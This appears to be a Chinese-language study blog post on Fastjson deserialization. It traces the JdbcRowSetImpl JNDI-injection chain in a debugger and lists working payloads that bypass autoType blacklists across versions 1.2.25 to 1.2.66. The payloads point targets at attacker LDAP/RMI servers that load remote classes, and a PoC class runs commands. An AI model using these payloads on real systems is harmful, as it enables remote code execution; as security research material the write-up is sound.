JdbcRowSetImpl
接著繼續學習fastjson的第二條鏈JdbcRowSetImpl,主要是利用jndi注入達到的攻擊,而且沒有什麼利用限制,而且其原理就是setter的自動呼叫,具體setter呼叫程式碼可以參考上篇文章除錯的部分
1、漏洞復現
1.1、元件依賴版本
fastjson:1.2.22-1.2.24
1.2、利用方式
不像TemplatesImpl鏈需要指定的利用方式,JdbcRowSetImpl鏈只需要可以控制輸入就能利用。
JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);
當然對jdk的版本有需求,因為高版本jdk對jndi和rmi有限制,在rmi篇也有說明這裡再次貼出,方便自己以後檢視
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
圖為阿里雲應用
1.3、漏洞復現
準備惡意的程式碼
import java.io.IOException;
public class EXP {
public EXP() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
編譯惡意程式碼
javac EXP.java
開啟http服務
python3 -m http.server
用marshalsec開jndi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389
使用JdbcRowSetImpl構造poc,成功彈窗
package com.akkacloud.demo;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
因為fastjson會自動呼叫setter和getter,具體可以看
Poc除錯的那部分,所以我們就可以構造處fastjson的poc
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
我們JSON.parse()試一下
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parse(exp);
}
}
1.4、利用鏈除錯
這次我們就直接跳過fastjson的利用鏈,因為在TemplateImpl中已經詳細跟進過,我們直接進入到 jdbcRowImpl,在setDataSourceName方法打下斷點,其實看呼叫棧也是可以看出,前半部分是跟TemplatesImpl鏈是一樣的,一個呼叫的是getOutputproperties,一個是setDataSourceName。
我們繼續看,先判斷DataSourceName的是否為null,不為就呼叫父類方法賦值,我們也跟進去看看
可以看到就是簡單的dataSource賦值,然後就到setAutoCommit
就是判斷this.conn是否為null,null就呼叫this.connect()方法賦值,我們也跟進去看看
跟進來發現,獲取上下文然呼叫lookup方法,引數就是我們獲取我們前面賦值dataSource
然後就成功執行程式碼了
2、漏洞繞過
前面的兩條鏈都是的Fastjson版本都是1.2.22-1.2.24,後面就是繞過了。
2.1、Fastjson:1.2.25-1.2.41
我們先把依賴版本改成1.2.25,再次執行poc發現不行了,報錯,說autotype不支援,我們比較一下兩個包
我們在TemplatesImpl時,看過這段程式碼,this.config是ParserConfig,而ref是templatesImpl,他用checkAutoType檢查了ref,我們看看他怎麼檢查的,我們在此處打下斷點
確實在1.2.25會使用checkAutoType來校驗ref(TemplatesImpl),我們跟進去發現要呼叫TypeUtils.loadClass,需要進入if,但是this.autoTypeSupport預設為false,所以進不去,
而且在1.2.25版本中預設為flase,我們需要把this.autoTypeSupport設定為true,
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
然後到了this.acceptList(白名單),因為他本身就是空的
然後就是黑名單denyList,我們看看是什麼東西,發現我們com.sun包就在這裡和其他的一些利用鏈類。
那我們應該怎麼辦呢?我們怎辦才能進入TypeUtils.loadClass(typeName, this.defaultClassLoader),大佬們是跟進去TypeUtils.loadClass方法,發現了繞過方法,我們也跟進去。
跟進來發現,一種是@Type欄位開頭是 ”[“,另一種“L”開頭與“;”結尾,他就會從第二個字元獲取我們的className。
所以我們就可以構造新的payload,前提掉件就是AutoTypeSupport要為ture
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必須顯示關閉白名單
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);
2.2、Fastjson:1.2.42
我們繼續修改fastjson版本為1.2.42,繼續報錯autotype不支援,應該是黑名單問題。
我們除錯點依舊打在checkAutoType,繼續跟進看看
進來發現一堆hash,但是扔然進入到我們的第一紅框,把className的"L"和";"去除掉了。
而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我們只需要通過把惡意的類通過碰撞hash就可以獲取黑名單了,專案地址:https://github.com/LeadroyaL/fastjson-blacklist
因為前面已經去除過一次"L"和";",所以是進入不到if,我們用雙寫就可以繞過了。
修改payload
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}
2.3、Fastjson:1.2.43
1.2.43就是在原有的基礎上對"LL"做了判定,是就直接丟擲異常
但是"["還是可以
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
/* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}*/
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}
2.4、Fastjson:1.2.44
對[
進行限制
2.5、Fastjson:1.2.45
利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-core</artifactId>
<version>3.0</version>
</dependency>
用的是rmi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099
poc
//需要有第三方元件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/EXP\"}}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}
這裡採用的跟前面的方式不一樣,學習一下
@type指定的是JndiDataSourceFactory類,呼叫的是setProperties,原理依然是fastJson會自動呼叫getter和setter方法。我們跟進setProperties看看
到了這裡就是會lookup,傳入的json字串data_source,造成RCE
2.6、1.2.25-1.2.47通殺
沒有autotype限制和黑名單限制
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";
JSON.parseObject(exp);
}
}
我們跟進分析學習,在checkAutoType,因為我們第一個傳入的是@Type是java.lang.Class,也沒有把autoTypeSupport設定為true,所以會通過TypeUtils.getClassFromMapping(typeName)去查詢,或者從this.deserializers.findClass(typeName)尋找。
在this.deserializers中找到了java.lang.Class,然後就直接返回了clazz,
我們回到上一層DefaultJSONParser的parseObject方法,然後我們繼續走到下面
獲取了java.lang.Class的反序列化處理類,com.alibaba.fastjson.serializer.MiscCodec
,然後執行deserializer.deserialze(),跟進去
進入MiscCodec.deserialze(),我們直接進入重點parser.parse(),這個方法就是用來獲取val值的,我們跟進去看看
其實就是遍歷獲取val的值,然後返回
然後賦值給strVal
然後就是一堆if判斷,走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),把strVal傳進去
跟進來,在mapping裡面存入了jdbcRowSetImpl,就是存入了mapping快取
跟著程式繼續來到checkAutoType(),跟進去。
會在mapping中查詢jdbcRowImpl,因為我們已經存進去,所以clazz就能獲取到,然後返回,我回到上一層
走到這,成功獲取到jdbcRowSetImpl,然後就是自動自行我們的set方法,setDataSourceName、setautoCommit執行lookup,造成rce
2.7、Fastjson:1.2.48
黑名單多了兩條,MiscCodec中將預設傳入的cache變為false,checkAutoType()調整了邏輯
2.8、Fastjson:1.2.62
- 需要開啟AutoType;
- Fastjson <= 1.2.62;
- JNDI注入利用所受的JDK版本限制;
- 目標服務端需要存在xbean-reflect包;
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
2.9、Fastjson:1.2.66
// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
參考連結
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/nice0e3/p/14776043.html